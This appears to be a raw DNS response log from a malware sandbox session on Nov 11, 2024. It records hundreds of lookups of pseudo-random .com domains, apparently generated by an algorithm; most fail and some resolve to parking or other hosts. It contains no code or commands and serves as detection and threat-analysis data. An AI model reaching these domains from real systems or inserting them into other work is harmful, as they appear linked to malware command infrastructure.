Nov 11, 2024 18:50:28.442475080 CET	1.1.1.1	192.168.2.6	0x2d41	Name error (3)	qexylup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.443753004 CET	1.1.1.1	192.168.2.6	0xc339	Name error (3)	lyvytuj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.444360018 CET	1.1.1.1	192.168.2.6	0x627c	Name error (3)	pufymoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.444370985 CET	1.1.1.1	192.168.2.6	0x816c	Name error (3)	lygymoj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.444434881 CET	1.1.1.1	192.168.2.6	0x5c4f	Name error (3)	gadyfuh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.445256948 CET	1.1.1.1	192.168.2.6	0x9780	Name error (3)	gatyvyz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.451479912 CET	1.1.1.1	192.168.2.6	0xf3c	Name error (3)	lyxylux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.464906931 CET	1.1.1.1	192.168.2.6	0xcef5	Name error (3)	purydyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.559668064 CET	1.1.1.1	192.168.2.6	0x4576	No error (0)	vocyzit.com		44.221.84.105	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.605309010 CET	1.1.1.1	192.168.2.6	0x60c7	No error (0)	qetyfuv.com		44.221.84.105	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.608741999 CET	1.1.1.1	192.168.2.6	0xb7b6	No error (0)	puzylyp.com		75.2.71.199	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.608741999 CET	1.1.1.1	192.168.2.6	0xb7b6	No error (0)	puzylyp.com		99.83.170.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.625744104 CET	1.1.1.1	192.168.2.6	0x23e5	No error (0)	lyvyxor.com		208.100.26.245	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.672666073 CET	1.1.1.1	192.168.2.6	0x6ee0	No error (0)	vojyqem.com	77980.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 18:50:28.672666073 CET	1.1.1.1	192.168.2.6	0x6ee0	No error (0)	77980.bodis.com		199.59.243.227	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.894217968 CET	1.1.1.1	192.168.2.6	0x88c7	No error (0)	gatyfus.com		85.17.31.122	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.894217968 CET	1.1.1.1	192.168.2.6	0x88c7	No error (0)	gatyfus.com		178.162.203.202	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.894217968 CET	1.1.1.1	192.168.2.6	0x88c7	No error (0)	gatyfus.com		178.162.203.211	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.894217968 CET	1.1.1.1	192.168.2.6	0x88c7	No error (0)	gatyfus.com		178.162.203.226	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.894217968 CET	1.1.1.1	192.168.2.6	0x88c7	No error (0)	gatyfus.com		178.162.217.107	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.894217968 CET	1.1.1.1	192.168.2.6	0x88c7	No error (0)	gatyfus.com		5.79.71.205	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.894217968 CET	1.1.1.1	192.168.2.6	0x88c7	No error (0)	gatyfus.com		5.79.71.225	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:28.894217968 CET	1.1.1.1	192.168.2.6	0x88c7	No error (0)	gatyfus.com		85.17.31.82	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:29.290683985 CET	1.1.1.1	192.168.2.6	0xfec2	No error (0)	gadyniw.com		154.212.231.82	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:30.683914900 CET	1.1.1.1	192.168.2.6	0x807f	No error (0)	ww8.galyqaz.com	deliver.trafficmotor.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 18:50:30.683914900 CET	1.1.1.1	192.168.2.6	0x807f	No error (0)	deliver.trafficmotor.com		45.79.19.196	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:30.683914900 CET	1.1.1.1	192.168.2.6	0x807f	No error (0)	deliver.trafficmotor.com		198.58.118.167	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:30.683914900 CET	1.1.1.1	192.168.2.6	0x807f	No error (0)	deliver.trafficmotor.com		45.33.2.79	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:30.683914900 CET	1.1.1.1	192.168.2.6	0x807f	No error (0)	deliver.trafficmotor.com		96.126.123.244	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:30.683914900 CET	1.1.1.1	192.168.2.6	0x807f	No error (0)	deliver.trafficmotor.com		45.33.20.235	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:30.683914900 CET	1.1.1.1	192.168.2.6	0x807f	No error (0)	deliver.trafficmotor.com		45.33.18.44	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:30.683914900 CET	1.1.1.1	192.168.2.6	0x807f	No error (0)	deliver.trafficmotor.com		45.33.30.197	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:30.683914900 CET	1.1.1.1	192.168.2.6	0x807f	No error (0)	deliver.trafficmotor.com		45.56.79.23	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:30.683914900 CET	1.1.1.1	192.168.2.6	0x807f	No error (0)	deliver.trafficmotor.com		173.255.194.134	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:30.683914900 CET	1.1.1.1	192.168.2.6	0x807f	No error (0)	deliver.trafficmotor.com		45.33.23.183	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:30.683914900 CET	1.1.1.1	192.168.2.6	0x807f	No error (0)	deliver.trafficmotor.com		72.14.185.43	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:30.683914900 CET	1.1.1.1	192.168.2.6	0x807f	No error (0)	deliver.trafficmotor.com		72.14.178.174	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:32.465537071 CET	1.1.1.1	192.168.2.6	0xa83b	No error (0)	ww3.galyqaz.com	sedoparking.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 18:50:32.465537071 CET	1.1.1.1	192.168.2.6	0xa83b	No error (0)	sedoparking.com		64.190.63.136	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.362049103 CET	1.1.1.1	192.168.2.6	0xe25a	No error (0)	pupydeq.com		13.248.169.48	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.362049103 CET	1.1.1.1	192.168.2.6	0xe25a	No error (0)	pupydeq.com		76.223.54.146	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.376848936 CET	1.1.1.1	192.168.2.6	0x394b	Name error (3)	pujymip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.377979040 CET	1.1.1.1	192.168.2.6	0xe995	Name error (3)	qebylug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.381247044 CET	1.1.1.1	192.168.2.6	0xe91f	Name error (3)	ganyzub.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.386140108 CET	1.1.1.1	192.168.2.6	0xfb1	Name error (3)	lykymox.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.393594027 CET	1.1.1.1	192.168.2.6	0x6337	Name error (3)	vopydek.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.397439957 CET	1.1.1.1	192.168.2.6	0xa8d2	Name error (3)	vojymic.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.398766994 CET	1.1.1.1	192.168.2.6	0xdd56	Name error (3)	gatydaw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.404419899 CET	1.1.1.1	192.168.2.6	0xbddc	Name error (3)	gahynus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.416418076 CET	1.1.1.1	192.168.2.6	0xb058	Name error (3)	qetysal.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.417484999 CET	1.1.1.1	192.168.2.6	0x454e	Name error (3)	lyvylyn.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.421250105 CET	1.1.1.1	192.168.2.6	0x5da1	Name error (3)	volymum.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.430557966 CET	1.1.1.1	192.168.2.6	0xb11b	Name error (3)	vowypit.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.437861919 CET	1.1.1.1	192.168.2.6	0x81ad	Name error (3)	lymylyr.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.437875032 CET	1.1.1.1	192.168.2.6	0x1896	Name error (3)	gadydas.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.438379049 CET	1.1.1.1	192.168.2.6	0x7973	Name error (3)	puzymig.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.455542088 CET	1.1.1.1	192.168.2.6	0x7cbe	Name error (3)	vofydac.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.455692053 CET	1.1.1.1	192.168.2.6	0x248d	Name error (3)	qeqylyl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.463515997 CET	1.1.1.1	192.168.2.6	0xbc7d	Name error (3)	lyxymin.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.463527918 CET	1.1.1.1	192.168.2.6	0x306a	Name error (3)	gaqyzuw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.465914965 CET	1.1.1.1	192.168.2.6	0xebba	Name error (3)	qexyqog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.469866991 CET	1.1.1.1	192.168.2.6	0xf96	Name error (3)	vowyzuk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.477838993 CET	1.1.1.1	192.168.2.6	0x9781	Name error (3)	pufydep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.480700970 CET	1.1.1.1	192.168.2.6	0xe0ef	Name error (3)	lygyfex.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.553993940 CET	1.1.1.1	192.168.2.6	0xcf68	Name error (3)	qegyfyp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.560441017 CET	1.1.1.1	192.168.2.6	0x62db	Name error (3)	vocyqaf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.573311090 CET	1.1.1.1	192.168.2.6	0xbe03	Name error (3)	qetyxiq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.581572056 CET	1.1.1.1	192.168.2.6	0x10be	Name error (3)	gahyfyz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.599112034 CET	1.1.1.1	192.168.2.6	0xff5e	Name error (3)	gacyqob.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.601521969 CET	1.1.1.1	192.168.2.6	0x6ca3	Name error (3)	lyryxij.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.601814032 CET	1.1.1.1	192.168.2.6	0xe185	Name error (3)	puvywav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.602468014 CET	1.1.1.1	192.168.2.6	0x5c02	Name error (3)	puryxuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.641482115 CET	1.1.1.1	192.168.2.6	0xb281	Name error (3)	qegynuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.650836945 CET	1.1.1.1	192.168.2.6	0xf714	Name error (3)	qekyhil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.654469967 CET	1.1.1.1	192.168.2.6	0x17f1	Name error (3)	ganyrys.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.656436920 CET	1.1.1.1	192.168.2.6	0x42ab	Name error (3)	pumytup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.676214933 CET	1.1.1.1	192.168.2.6	0xfb7	No error (0)	lysyvan.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.676214933 CET	1.1.1.1	192.168.2.6	0xfb7	No error (0)	lysyvan.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.677582979 CET	1.1.1.1	192.168.2.6	0x3911	Name error (3)	gaqypiz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.677594900 CET	1.1.1.1	192.168.2.6	0xd8fb	Name error (3)	vonyryc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.678179979 CET	1.1.1.1	192.168.2.6	0x5f0a	Name error (3)	lykygur.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.678191900 CET	1.1.1.1	192.168.2.6	0xb046	Name error (3)	pujygul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.682285070 CET	1.1.1.1	192.168.2.6	0x1652	Name error (3)	vopycom.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.682526112 CET	1.1.1.1	192.168.2.6	0x8703	Name error (3)	puzyjoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.683706045 CET	1.1.1.1	192.168.2.6	0xc783	Name error (3)	gacykeh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.685105085 CET	1.1.1.1	192.168.2.6	0xcc09	Name error (3)	puvylyg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.686845064 CET	1.1.1.1	192.168.2.6	0x6ebf	Name error (3)	pufybyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.697474957 CET	1.1.1.1	192.168.2.6	0x21c8	Name error (3)	volyjok.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.697840929 CET	1.1.1.1	192.168.2.6	0x1acd	Name error (3)	purypol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.698263884 CET	1.1.1.1	192.168.2.6	0xee8a	Name error (3)	qedyveg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.700295925 CET	1.1.1.1	192.168.2.6	0xaf7f	Name error (3)	vocykem.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.700715065 CET	1.1.1.1	192.168.2.6	0x4942	Name error (3)	gadyveb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.704546928 CET	1.1.1.1	192.168.2.6	0xdadd	Name error (3)	galyhiw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.705310106 CET	1.1.1.1	192.168.2.6	0xab4b	Name error (3)	qexykaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.718354940 CET	1.1.1.1	192.168.2.6	0x74b1	Name error (3)	lymytux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.718367100 CET	1.1.1.1	192.168.2.6	0x9f1e	Name error (3)	lyvywed.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.721501112 CET	1.1.1.1	192.168.2.6	0xedb	Name error (3)	qeqytup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.722359896 CET	1.1.1.1	192.168.2.6	0x6c9a	Name error (3)	qebyrev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.722371101 CET	1.1.1.1	192.168.2.6	0xef26	Name error (3)	lyxyjaj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.726025105 CET	1.1.1.1	192.168.2.6	0x96d2	Name error (3)	gatycoh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.726321936 CET	1.1.1.1	192.168.2.6	0xa7f7	Name error (3)	vofybyf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.727238894 CET	1.1.1.1	192.168.2.6	0xd256	Name error (3)	vojygut.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.847707987 CET	1.1.1.1	192.168.2.6	0x6873	No error (0)	pupycag.com		18.208.156.248	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:33.883162022 CET	1.1.1.1	192.168.2.6	0x81d3	No error (0)	lygynud.com		3.94.10.34	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:34.539207935 CET	1.1.1.1	192.168.2.6	0x6cc6	No error (0)	lyrysor.com	zz1985.qu200.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 18:50:34.539207935 CET	1.1.1.1	192.168.2.6	0x6cc6	No error (0)	zz1985.qu200.com	gtm-sg-6l13ukk0m05.qu200.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 18:50:34.539207935 CET	1.1.1.1	192.168.2.6	0x6cc6	No error (0)	gtm-sg-6l13ukk0m05.qu200.com		103.150.10.48	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.697556973 CET	1.1.1.1	192.168.2.6	0x41d1	Name error (3)	qebykap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.699376106 CET	1.1.1.1	192.168.2.6	0x9015	Name error (3)	vopypif.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.703294039 CET	1.1.1.1	192.168.2.6	0x91ad	Name error (3)	ganyqow.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.703557968 CET	1.1.1.1	192.168.2.6	0x5521	Name error (3)	vopyzuc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.705518007 CET	1.1.1.1	192.168.2.6	0x61b4	Name error (3)	puvymul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.712287903 CET	1.1.1.1	192.168.2.6	0x85b	Name error (3)	gahydoh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.721811056 CET	1.1.1.1	192.168.2.6	0x9f6a	Name error (3)	qetylyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.722604036 CET	1.1.1.1	192.168.2.6	0xda5d	Name error (3)	qebyqil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.728008032 CET	1.1.1.1	192.168.2.6	0x332d	Name error (3)	gatyzys.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.728070021 CET	1.1.1.1	192.168.2.6	0xd02a	Name error (3)	lyvymir.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.729808092 CET	1.1.1.1	192.168.2.6	0xaa05	Name error (3)	ganykaz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.730717897 CET	1.1.1.1	192.168.2.6	0x2de1	Name error (3)	lykyfen.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.730734110 CET	1.1.1.1	192.168.2.6	0x7cbf	Name error (3)	pufycol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.731390953 CET	1.1.1.1	192.168.2.6	0x6c62	Name error (3)	lyxygud.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.732409000 CET	1.1.1.1	192.168.2.6	0xdfbd	Name error (3)	lysysod.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.732464075 CET	1.1.1.1	192.168.2.6	0x9769	Name error (3)	lykynyj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.732677937 CET	1.1.1.1	192.168.2.6	0x85d7	Name error (3)	vonyket.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.732839108 CET	1.1.1.1	192.168.2.6	0x5282	Name error (3)	pupypiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.732891083 CET	1.1.1.1	192.168.2.6	0x50db	Name error (3)	qekynuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.733707905 CET	1.1.1.1	192.168.2.6	0x830e	Name error (3)	volygyf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.733740091 CET	1.1.1.1	192.168.2.6	0x2cd5	Name error (3)	qedysov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.734276056 CET	1.1.1.1	192.168.2.6	0xa311	Name error (3)	vonyqok.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.748461008 CET	1.1.1.1	192.168.2.6	0x5e07	Name error (3)	pujydag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.749984980 CET	1.1.1.1	192.168.2.6	0x90d9	Name error (3)	pumylel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.751986027 CET	1.1.1.1	192.168.2.6	0x1e72	Name error (3)	vojydam.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.754589081 CET	1.1.1.1	192.168.2.6	0xacfe	Name error (3)	pumywaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.759948015 CET	1.1.1.1	192.168.2.6	0x271a	No error (0)	galynuh.com		64.225.91.73	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.786359072 CET	1.1.1.1	192.168.2.6	0xd1b1	Name error (3)	lyvyjox.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.786731958 CET	1.1.1.1	192.168.2.6	0x62d5	Name error (3)	pujybyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.787091017 CET	1.1.1.1	192.168.2.6	0xcbac	Name error (3)	qexynyp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.790055990 CET	1.1.1.1	192.168.2.6	0x15c2	No error (0)	qexyhuv.com		76.223.67.189	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.790055990 CET	1.1.1.1	192.168.2.6	0x15c2	No error (0)	qexyhuv.com		13.248.213.45	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.793560028 CET	1.1.1.1	192.168.2.6	0x54f5	Name error (3)	gacynuz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.795238018 CET	1.1.1.1	192.168.2.6	0x860c	Name error (3)	qegysoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.795624018 CET	1.1.1.1	192.168.2.6	0x12a1	Name error (3)	lymywaj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.811620951 CET	1.1.1.1	192.168.2.6	0xc577	Name error (3)	pupyxup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.815967083 CET	1.1.1.1	192.168.2.6	0xa24e	Name error (3)	gatypub.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.816245079 CET	1.1.1.1	192.168.2.6	0x35a0	Name error (3)	gaqyreh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.826628923 CET	1.1.1.1	192.168.2.6	0xce0	Name error (3)	qekyfeg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.826719046 CET	1.1.1.1	192.168.2.6	0x589	Name error (3)	qedyxip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.830918074 CET	1.1.1.1	192.168.2.6	0x4d1c	Name error (3)	lygysij.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.832379103 CET	1.1.1.1	192.168.2.6	0xe776	Name error (3)	lygyvar.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.832628965 CET	1.1.1.1	192.168.2.6	0xc6b2	Name error (3)	lyryled.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.833538055 CET	1.1.1.1	192.168.2.6	0xd4d9	Name error (3)	galyfyb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.834412098 CET	1.1.1.1	192.168.2.6	0x7d5e	Name error (3)	lyrytun.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.834923029 CET	1.1.1.1	192.168.2.6	0x9a54	Name error (3)	qetytug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.836122036 CET	1.1.1.1	192.168.2.6	0x79ec	Name error (3)	puvyjop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.836536884 CET	1.1.1.1	192.168.2.6	0x8198	Name error (3)	qeqyreq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.837661982 CET	1.1.1.1	192.168.2.6	0xa9a5	Name error (3)	vocyjic.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.837672949 CET	1.1.1.1	192.168.2.6	0xa5a0	Name error (3)	lysyxux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.841017962 CET	1.1.1.1	192.168.2.6	0x2d66	Name error (3)	gaqykab.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.848340034 CET	1.1.1.1	192.168.2.6	0x3a80	Name error (3)	puzyguv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.849076033 CET	1.1.1.1	192.168.2.6	0xdcc2	Name error (3)	vowykaf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.849087000 CET	1.1.1.1	192.168.2.6	0xb6ad	Name error (3)	purylev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.852914095 CET	1.1.1.1	192.168.2.6	0xad1a	Name error (3)	pufypiq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.853121042 CET	1.1.1.1	192.168.2.6	0xd639	Name error (3)	vocymut.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.853380919 CET	1.1.1.1	192.168.2.6	0x377e	Name error (3)	gacyhis.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.854171991 CET	1.1.1.1	192.168.2.6	0xd87c	Name error (3)	vowyrym.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.854479074 CET	1.1.1.1	192.168.2.6	0x5c7c	Name error (3)	vojybek.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.856312990 CET	1.1.1.1	192.168.2.6	0xf943	Name error (3)	gahyvew.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:38.861481905 CET	1.1.1.1	192.168.2.6	0xb78a	Name error (3)	purytyg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:39.019974947 CET	1.1.1.1	192.168.2.6	0x7a8e	No error (0)	gadyciz.com		44.221.84.105	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:39.085916996 CET	1.1.1.1	192.168.2.6	0x6bf1	No error (0)	lyxynyx.com		103.224.212.210	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:39.133541107 CET	1.1.1.1	192.168.2.6	0xb170	No error (0)	vofycot.com		103.224.182.252	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:39.241190910 CET	1.1.1.1	192.168.2.6	0x3fab	No error (0)	qegyval.com		154.85.183.50	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.033514023 CET	1.1.1.1	192.168.2.6	0x9514	No error (0)	ww16.vofycot.com	www.sedoparking.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 18:50:40.033514023 CET	1.1.1.1	192.168.2.6	0x9514	No error (0)	www.sedoparking.com		64.190.63.136	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.253107071 CET	1.1.1.1	192.168.2.6	0xd6e	No error (0)	ww25.lyxynyx.com	77026.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 18:50:40.253107071 CET	1.1.1.1	192.168.2.6	0xd6e	No error (0)	77026.bodis.com		199.59.243.227	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.859086990 CET	1.1.1.1	192.168.2.6	0x314f	Name error (3)	gacyvah.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.862004042 CET	1.1.1.1	192.168.2.6	0xa00e	Name error (3)	vopykak.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:40.874064922 CET	1.1.1.1	192.168.2.6	0xb016	Name error (3)	puvybeg.com	none	none	A (IP address)	IN (0x0001)	false
